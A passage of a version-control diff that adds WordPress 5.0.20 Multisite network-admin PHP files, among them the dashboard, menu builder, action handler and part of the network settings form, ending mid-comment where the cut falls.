+++ /tags/5.0.20/src/wp-admin/network/credits.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Network Credits administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/credits.php' );
Index: /tags/5.0.20/src/wp-admin/network/edit.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/edit.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/edit.php	(revision 56912)
@@ -0,0 +1,39 @@
+<?php
+/**
+ * Action handler for Multisite administration panels.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( empty( $_GET['action'] ) ) {
+	wp_redirect( network_admin_url() );
+	exit;
+}
+
+/**
+ * Fires just before the action handler in several Network Admin screens.
+ *
+ * This hook fires on multiple screens in the Multisite Network Admin,
+ * including Users, Network Settings, and Site Settings.
+ *
+ * @since 3.0.0
+ */
+do_action( 'wpmuadminedit' );
+
+/**
+ * Fires the requested handler action.
+ *
+ * The dynamic portion of the hook name, `$_GET['action']`, refers to the name
+ * of the requested action.
+ *
+ * @since 3.1.0
+ */
+do_action( 'network_admin_edit_' . $_GET['action'] );
+
+wp_redirect( network_admin_url() );
+exit();
Index: /tags/5.0.20/src/wp-admin/network/freedoms.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/freedoms.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/freedoms.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Network Freedoms administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/freedoms.php' );
Index: /tags/5.0.20/src/wp-admin/network/index.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/index.php	(revision 56912)
@@ -0,0 +1,78 @@
+<?php
+/**
+ * Multisite administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** Load WordPress dashboard API */
+require_once( ABSPATH . 'wp-admin/includes/dashboard.php' );
+
+if ( ! current_user_can( 'manage_network' ) )
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+$title = __( 'Dashboard' );
+$parent_file = 'index.php';
+
+$overview = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>';
+$overview .= '<p>' . __( 'From here you can:' ) . '</p>';
+$overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>';
+$overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>';
+$overview .= '<li>' . __( 'Update your network' ) . '</li>';
+$overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __( 'Overview' ),
+	'content' => $overview
+) );
+
+$quick_tasks = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>';
+$quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>';
+$quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>';
+$quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>';
+$quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user&#42;.' ) . '</li>';
+$quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'quick-tasks',
+	'title'   => __( 'Quick Tasks' ),
+	'content' => $quick_tasks
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Network_Admin">Documentation on the Network Admin</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>') . '</p>'
+);
+
+wp_dashboard_setup();
+
+wp_enqueue_script( 'dashboard' );
+wp_enqueue_script( 'plugin-install' );
+add_thickbox();
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<div id="dashboard-widgets-wrap">
+
+<?php wp_dashboard(); ?>
+
+<div class="clear"></div>
+</div><!-- dashboard-widgets-wrap -->
+
+</div><!-- wrap -->
+
+<?php
+wp_print_community_events_templates();
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/network/menu.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/menu.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/menu.php	(revision 56912)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * Build Network Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/* translators: Network menu item */
+$menu[2] = array(__('Dashboard'), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard');
+
+$submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' );
+
+if ( current_user_can( 'update_core' ) ) {
+	$cap = 'update_core';
+} elseif ( current_user_can( 'update_plugins' ) ) {
+	$cap = 'update_plugins';
+} elseif ( current_user_can( 'update_themes' ) ) {
+	$cap = 'update_themes';
+} else {
+	$cap = 'update_languages';
+}
+
+$update_data = wp_get_update_data();
+if ( $update_data['counts']['total'] ) {
+	$submenu['index.php'][10] = array( sprintf( __( 'Updates %s' ), "<span class='update-plugins count-{$update_data['counts']['total']}'><span class='update-count'>" . number_format_i18n( $update_data['counts']['total'] ) . "</span></span>" ), $cap, 'update-core.php' );
+} else {
+	$submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' );
+}
+
+unset( $cap );
+
+$submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' );
+
+$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );
+
+/* translators: Sites menu item */
+$menu[5] = array(__('Sites'), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite');
+$submenu['sites.php'][5]  = array( __('All Sites'), 'manage_sites', 'sites.php' );
+$submenu['sites.php'][10]  = array( _x('Add New', 'site'), 'create_sites', 'site-new.php' );
+
+$menu[10] = array(__('Users'), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users');
+$submenu['users.php'][5]  = array( __('All Users'), 'manage_network_users', 'users.php' );
+$submenu['users.php'][10]  = array( _x('Add New', 'user'), 'create_users', 'user-new.php' );
+
+if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
+	$menu[15] = array(sprintf( __( 'Themes %s' ), "<span class='update-plugins count-{$update_data['counts']['themes']}'><span class='theme-count'>" . number_format_i18n( $update_data['counts']['themes'] ) . "</span></span>" ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
+} else {
+	$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
+}
+$submenu['themes.php'][5]  = array( __('Installed Themes'), 'manage_network_themes', 'themes.php' );
+$submenu['themes.php'][10] = array( _x('Add New', 'theme'), 'install_themes', 'theme-install.php' );
+$submenu['themes.php'][15] = array( _x('Editor', 'theme editor'), 'edit_themes', 'theme-editor.php' );
+
+if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
+	$menu[20] = array( sprintf( __( 'Plugins %s' ), "<span class='update-plugins count-{$update_data['counts']['plugins']}'><span class='plugin-count'>" . number_format_i18n( $update_data['counts']['plugins'] ) . "</span></span>" ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins');
+} else {
+	$menu[20] = array( __('Plugins'), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
+}
+$submenu['plugins.php'][5]  = array( __('Installed Plugins'), 'manage_network_plugins', 'plugins.php' );
+$submenu['plugins.php'][10] = array( _x('Add New', 'plugin'), 'install_plugins', 'plugin-install.php' );
+$submenu['plugins.php'][15] = array( _x('Editor', 'plugin editor'), 'edit_plugins', 'plugin-editor.php' );
+
+$menu[25] = array(__('Settings'), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings');
+if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
+	$submenu['settings.php'][5]  = array( __('Network Settings'), 'manage_network_options', 'settings.php' );
+	$submenu['settings.php'][10] = array( __('Network Setup'), 'setup_network', 'setup.php' );
+}
+unset($update_data);
+
+$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );
+
+require_once(ABSPATH . 'wp-admin/includes/menu.php');
Index: /tags/5.0.20/src/wp-admin/network/plugin-editor.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/plugin-editor.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/plugin-editor.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Plugin editor network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/plugin-editor.php' );
Index: /tags/5.0.20/src/wp-admin/network/plugin-install.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/plugin-install.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/plugin-install.php	(revision 56912)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Install plugin network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+if ( isset( $_GET['tab'] ) && ( 'plugin-information' == $_GET['tab'] ) )
+	define( 'IFRAME_REQUEST', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/plugin-install.php' );
Index: /tags/5.0.20/src/wp-admin/network/plugins.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/plugins.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/plugins.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Network Plugins administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/plugins.php' );
Index: /tags/5.0.20/src/wp-admin/network/privacy.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/privacy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/privacy.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Network Privacy administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 4.9.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/privacy.php' );
Index: /tags/5.0.20/src/wp-admin/network/profile.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/profile.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/profile.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User profile network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/profile.php' );
Index: /tags/5.0.20/src/wp-admin/network/settings.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/settings.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/settings.php	(revision 56912)
@@ -0,0 +1,443 @@
+<?php
+/**
+ * Multisite network settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** WordPress Translation Installation API */
+require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+if ( ! current_user_can( 'manage_network_options' ) )
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+$title = __( 'Network Settings' );
+$parent_file = 'settings.php';
+
+// Handle network admin email change requests
+if ( ! empty( $_GET[ 'network_admin_hash' ] ) ) {
+	$new_admin_details = get_site_option( 'network_admin_hash' );
+	$redirect = 'settings.php?updated=false';
+	if ( is_array( $new_admin_details ) && hash_equals( $new_admin_details[ 'hash' ], $_GET[ 'network_admin_hash' ] ) && ! empty( $new_admin_details[ 'newemail' ] ) ) {
+		update_site_option( 'admin_email', $new_admin_details[ 'newemail' ] );
+		delete_site_option( 'network_admin_hash' );
+		delete_site_option( 'new_admin_email' );
+		$redirect = 'settings.php?updated=true';
+	}
+	wp_redirect( network_admin_url( $redirect ) );
+	exit;
+} elseif ( ! empty( $_GET['dismiss'] ) && 'new_network_admin_email' == $_GET['dismiss'] ) {
+	check_admin_referer( 'dismiss_new_network_admin_email' );
+	delete_site_option( 'network_admin_hash' );
+	delete_site_option( 'new_admin_email' );
+	wp_redirect( network_admin_url( 'settings.php?updated=true' ) );
+	exit;
+}
+
+add_action( 'admin_head', 'network_settings_add_js' );
+
+get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __('This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site&#8217;s options.') . '</p>' .
+			'<p>' . __('Operational settings has fields for the network&#8217;s name and admin email.') . '</p>' .
+			'<p>' . __('Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.') . '</p>' .
+			'<p>' . __('New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what&#8127;s put in the first post, page, comment, comment author, and comment URL.') . '</p>' .
+			'<p>' . __('Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).') . '</p>' .
+			'<p>' . __( 'You can set the language, and the translation files will be automatically downloaded and installed (available if your filesystem is writable).' ) . '</p>' .
+			'<p>' . __('Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.') . '</p>' .
+			'<p>' . __('Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Network_Admin_Settings_Screen">Documentation on Network Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+if ( $_POST ) {
+	/** This action is documented in wp-admin/network/edit.php */
+	do_action( 'wpmuadminedit' );
+
+	check_admin_referer( 'siteoptions' );
+
+	$checked_options = array( 'menu_items' => array(), 'registrationnotification' => 'no', 'upload_space_check_disabled' => 1, 'add_new_users' => 0 );
+	foreach ( $checked_options as $option_name => $option_unchecked_value ) {
+		if ( ! isset( $_POST[$option_name] ) )
+			$_POST[$option_name] = $option_unchecked_value;
+	}
+
+	$options = array(
+		'registrationnotification', 'registration', 'add_new_users', 'menu_items',
+		'upload_space_check_disabled', 'blog_upload_space', 'upload_filetypes', 'site_name',
+		'first_post', 'first_page', 'first_comment', 'first_comment_url', 'first_comment_author',
+		'welcome_email', 'welcome_user_email', 'fileupload_maxk', 'global_terms_enabled',
+		'illegal_names', 'limited_email_domains', 'banned_email_domains', 'WPLANG', 'new_admin_email',
+		'first_comment_email',
+	);
+
+	// Handle translation installation.
+	if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
+		$language = wp_download_language_pack( $_POST['WPLANG'] );
+		if ( $language ) {
+			$_POST['WPLANG'] = $language;
+		}
+	}
+
+	foreach ( $options as $option_name ) {
+		if ( ! isset($_POST[$option_name]) )
+			continue;
+		$value = wp_unslash( $_POST[$option_name] );
+		update_site_option( $option_name, $value );
+	}
+
+	/**
+	 * Fires after the network options are updated.
+	 *
+	 * @since MU (3.0.0)
+	 */
+	do_action( 'update_wpmu_options' );
+
+	wp_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php' ) ) );
+	exit();
+}
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( isset( $_GET['updated'] ) ) {
+	?><div id="message" class="updated notice is-dismissible"><p><?php _e( 'Settings saved.' ) ?></p></div><?php
+}
+?>
+
+<div class="wrap">
+	<h1><?php echo esc_html( $title ); ?></h1>
+	<form method="post" action="settings.php" novalidate="novalidate">
+		<?php wp_nonce_field( 'siteoptions' ); ?>
+		<h2><?php _e( 'Operational Settings' ); ?></h2>
+		<table class="form-table">
+			<tr>
+				<th scope="row"><label for="site_name"><?php _e( 'Network Title' ) ?></label></th>
+				<td>
+					<input name="site_name" type="text" id="site_name" class="regular-text" value="<?php echo esc_attr( get_network()->site_name ) ?>" />
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="admin_email"><?php _e( 'Network Admin Email' ) ?></label></th>
+				<td>
+					<input name="new_admin_email" type="email" id="admin_email" aria-describedby="admin-email-desc" class="regular-text" value="<?php echo esc_attr( get_site_option( 'admin_email' ) ) ?>" />
+					<p class="description" id="admin-email-desc">
+						<?php _e( 'This address is used for admin purposes. If you change this we will send you an email at your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?>
+					</p>
+					<?php
+					$new_admin_email = get_site_option( 'new_admin_email' );
+					if ( $new_admin_email && $new_admin_email != get_site_option( 'admin_email' ) ) : ?>
+						<div class="updated inline">
+						<p><?php
+							printf(
+								/* translators: %s: new network admin email */
+								__( 'There is a pending change of the network admin email to %s.' ),
+								'<code>' . esc_html( $new_admin_email ) . '</code>'
+							);
+							printf(
+								' <a href="%1$s">%2$s</a>',
+								esc_url( wp_nonce_url( network_admin_url( 'settings.php?dismiss=new_network_admin_email' ), 'dismiss_new_network_admin_email' ) ),
+								__( 'Cancel' )
+							);
+						?></p>
+						</div>
+					<?php endif; ?>
+				</td>
+			</tr>
+		</table>
+		<h2><?php _e( 'Registration Settings' ); ?></h2>
+		<table class="form-table">
+			<tr>
+				<th scope="row"><?php _e( 'Allow new registrations' ) ?></th>
+				<?php
+				if ( !get_site_option( 'registration' ) )
+					update_site_option( 'registration', 'none' );
+				$reg = get_site_option( 'registration' );
+				?>
+				<td>
+					<fieldset>
+					<legend class="screen-reader-text"><?php _e( 'New registrations settings' ) ?></legend>
+					<label><input name="registration" type="radio" id="registration1" value="none"<?php checked( $reg, 'none') ?> /> <?php _e( 'Registration is disabled' ); ?></label><br />
+					<label><input name="registration" type="radio" id="registration2" value="user"<?php checked( $reg, 'user') ?> /> <?php _e( 'User accounts may be registered' ); ?></label><br />
+					<label><input name="registration" type="radio" id="registration3" value="blog"<?php checked( $reg, 'blog') ?> /> <?php _e( 'Logged in users may register new sites' ); ?></label><br />
+					<label><input name="registration" type="radio" id="registration4" value="all"<?php checked( $reg, 'all') ?> /> <?php _e( 'Both sites and user accounts can be registered' ); ?></label>
+					<?php if ( is_subdomain_install() ) {
+						echo '<p class="description">';
+						/* translators: 1: NOBLOGREDIRECT 2: wp-config.php */
+						printf( __( 'If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site.' ),
+							'<code>NOBLOGREDIRECT</code>',
+							'<code>wp-config.php</code>'
+						);
+						echo '</p>';
+					} ?>
+					</fieldset>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><?php _e( 'Registration notification' ) ?></th>
+				<?php
+				if ( !get_site_option( 'registrationnotification' ) )
+					update_site_option( 'registrationnotification', 'yes' );
+				?>
+				<td>
+					<label><input name="registrationnotification" type="checkbox" id="registrationnotification" value="yes"<?php checked( get_site_option( 'registrationnotification' ), 'yes' ) ?> /> <?php _e( 'Send the network admin an email notification every time someone registers a site or user account' ) ?></label>
+				</td>
+			</tr>
+
+			<tr id="addnewusers">
+				<th scope="row"><?php _e( 'Add New Users' ) ?></th>
+				<td>
+					<label><input name="add_new_users" type="checkbox" id="add_new_users" value="1"<?php checked( get_site_option( 'add_new_users' ) ) ?> /> <?php _e( 'Allow site administrators to add new users to their site via the "Users &rarr; Add New" page' ); ?></label>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="illegal_names"><?php _e( 'Banned Names' ) ?></label></th>
+				<td>
+					<input name="illegal_names" type="text" id="illegal_names" aria-describedby="illegal-names-desc" class="large-text" value="<?php echo esc_attr( implode( " ", (array) get_site_option( 'illegal_names' ) ) ); ?>" size="45" />
+					<p class="description" id="illegal-names-desc">
+						<?php _e( 'Users are not allowed to register these sites. Separate names by spaces.' ) ?>
+					</p>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="limited_email_domains"><?php _e( 'Limited Email Registrations' ) ?></label></th>
+				<td>
+					<?php $limited_email_domains = get_site_option( 'limited_email_domains' );
+					$limited_email_domains = str_replace( ' ', "\n", $limited_email_domains ); ?>
+					<textarea name="limited_email_domains" id="limited_email_domains" aria-describedby="limited-email-domains-desc" cols="45" rows="5">
+<?php echo esc_textarea( $limited_email_domains == '' ? '' : implode( "\n", (array) $limited_email_domains ) ); ?></textarea>
+					<p class="description" id="limited-email-domains-desc">
+						<?php _e( 'If you want to limit site registrations to certain domains. One domain per line.' ) ?>
+					</p>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="banned_email_domains"><?php _e('Banned Email Domains') ?></label></th>
+				<td>
+					<textarea name="banned_email_domains" id="banned_email_domains" aria-describedby="banned-email-domains-desc" cols="45" rows="5">
+<?php echo esc_textarea( get_site_option( 'banned_email_domains' ) == '' ? '' : implode( "\n", (array) get_site_option( 'banned_email_domains' ) ) ); ?></textarea>
+					<p class="description" id="banned-email-domains-desc">
+						<?php _e( 'If you want to ban domains from site registrations. One domain per line.' ) ?>
+					</p>
+				</td>
+			</tr>
+
+		</table>
+		<h2><?php _e( 'New Site Settings' ); ?></h2>
+		<table class="form-table">
+
+			<tr>
+				<th scope="row"><label for="welcome_email"><?php _e( 'Welcome Email' ) ?></label></th>
+				<td>
+					<textarea name="welcome_email" id="welcome_email" aria-describedby="welcome-email-desc" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'welcome_email' ) ) ?></textarea>
+					<p class="description" id="welcome-email-desc">
+						<?php _e( 'The welcome email sent to new site owners.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="welcome_user_email"><?php _e( 'Welcome User Email' ) ?></label></th>
+				<td>
+					<textarea name="welcome_user_email" id="welcome_user_email" aria-describedby="welcome-user-email-desc" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'welcome_user_email' ) ) ?></textarea>
+					<p class="description" id="welcome-user-email-desc">
+						<?php _e( 'The welcome email sent to new users.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_post"><?php _e( 'First Post' ) ?></label></th>
+				<td>
+					<textarea name="first_post" id="first_post" aria-describedby="first-post-desc" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'first_post' ) ) ?></textarea>
+					<p class="description" id="first-post-desc">
+						<?php _e( 'The first post on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_page"><?php _e( 'First Page' ) ?></label></th>
+				<td>
+					<textarea name="first_page" id="first_page" aria-describedby="first-page-desc" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'first_page' ) ) ?></textarea>
+					<p class="description" id="first-page-desc">
+						<?php _e( 'The first page on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_comment"><?php _e( 'First Comment' ) ?></label></th>
+				<td>
+					<textarea name="first_comment" id="first_comment" aria-describedby="first-comment-desc" rows="5" cols="45" class="large-text">
+<?php echo esc_textarea( get_site_option( 'first_comment' ) ) ?></textarea>
+					<p class="description" id="first-comment-desc">
+						<?php _e( 'The first comment on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_comment_author"><?php _e( 'First Comment Author' ) ?></label></th>
+				<td>
+					<input type="text" size="40" name="first_comment_author" id="first_comment_author" aria-describedby="first-comment-author-desc" value="<?php echo esc_attr( get_site_option('first_comment_author') ); ?>" />
+					<p class="description" id="first-comment-author-desc">
+						<?php _e( 'The author of the first comment on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_comment_email"><?php _e( 'First Comment Email' ) ?></label></th>
+				<td>
+					<input type="text" size="40" name="first_comment_email" id="first_comment_email" aria-describedby="first-comment-email-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_email' ) ); ?>" />
+					<p class="description" id="first-comment-email-desc">
+						<?php _e( 'The email address of the first comment author on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope="row"><label for="first_comment_url"><?php _e( 'First Comment URL' ) ?></label></th>
+				<td>
+					<input type="text" size="40" name="first_comment_url" id="first_comment_url" aria-describedby="first-comment-url-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_url' ) ) ?>" />
+					<p class="description" id="first-comment-url-desc">
+						<?php _e( 'The URL for the first comment on a new site.' ) ?>
+					</p>
+				</td>
+			</tr>
+		</table>
+		<h2><?php _e( 'Upload Settings' ); ?></h2>
+		<table class="form-table">
+			<tr>
+				<th scope="row"><?php _e( 'Site upload space' ) ?></th>
+				<td>
+					<label><input type="checkbox" id="upload_space_check_disabled" name="upload_space_check_disabled" value="0"<?php checked( (bool) get_site_option( 'upload_space_check_disabled' ), false ) ?>/> <?php printf( __( 'Limit total size of files uploaded to %s MB' ), '</label><label><input name="blog_upload_space" type="number" min="0" style="width: 100px" id="blog_upload_space" aria-describedby="blog-upload-space-desc" value="' . esc_attr( get_site_option('blog_upload_space', 100) ) . '" />' ); ?></label><br />
+					<p class="screen-reader-text" id="blog-upload-space-desc">
+						<?php _e( 'Size in megabytes' ) ?>
+					</p>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="upload_filetypes"><?php _e( 'Upload file types' ) ?></label></th>
+				<td>
+					<input name="upload_filetypes" type="text" id="upload_filetypes" aria-describedby="upload-filetypes-desc" class="large-text" value="<?php echo esc_attr( get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ) ?>" size="45" />
+					<p class="description" id="upload-filetypes-desc">
+						<?php _e( 'Allowed file types. Separate types by spaces.' ) ?>
+					</p>
+				</td>
+			</tr>
+
+			<tr>
+				<th scope="row"><label for="fileupload_maxk"><?php _e( 'Max upload file size' ) ?></label></th>
+				<td>
+					<?php
+						printf(
+							/* translators: %s: File size in kilobytes */
+							__( '%s KB' ),
+							'<input name="fileupload_maxk" type="number" min="0" style="width: 100px" id="fileupload_maxk" aria-describedby="fileupload-maxk-desc" value="' . esc_attr( get_site_option( 'fileupload_maxk', 300 ) ) . '" />'
+						);
+					?>
+					<p class="screen-reader-text" id="fileupload-maxk-desc">
+						<?php _e( 'Size in kilobytes' ) ?>
+					</p>
+				</td>
+			</tr>
+		</table>
+
+		<?php
+		$languages = get_available_languages();
+		$translations = wp_get_available_translations();
+		if ( ! empty( $languages ) || ! empty( $translations ) ) {
+			?>
+			<h2><?php _e( 'Language Settings' ); ?></h2>
+			<table class="form-table">
+				<tr>
+					<th><label for="WPLANG"><?php _e( 'Default Language' ); ?></label></th>
+					<td>
+						<?php
+						$lang = get_site_option( 'WPLANG' );
+						if ( ! in_array( $lang, $languages ) ) {
+							$lang = '';
+						}
+
+						wp_dropdown_languages(
+							array(
+								'name'         => 'WPLANG',
+								'id'           => 'WPLANG',
+								'selected'     => $lang,
+								'languages'    => $languages,
+								'translations' => $translations,
+								'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
+							)
+						);
+						?>
+					</td>
+				</tr>
+			</table>
+			<?php
+		}
+		?>
+
+		<h2><?php _e( 'Menu Settings' ); ?></h2>
+		<table id="menu" class="form-table">
+			<tr>
+				<th scope="row"><?php _e( 'Enable administration menus' ); ?></th>
+				<td>
+			<?php
+			$menu_perms = get_site_option( 'menu_items' );
+			/**
+			 * Filters available network-wide administration menu options.
+			 *
+			 * Options returned to this filter are output as individual checkboxes that, when selected,
+			 * enable site administrator access to the specified administration menu in certain contexts.
+			 *
+			 * Adding options for specific menus here hinges on the appropriate checks and capabilities
+			 * being in place in the site dashboard on the other side. For instance, when the single
+			 * default option, 'plugins' is enabled, site administrators are granted access to the Plugins
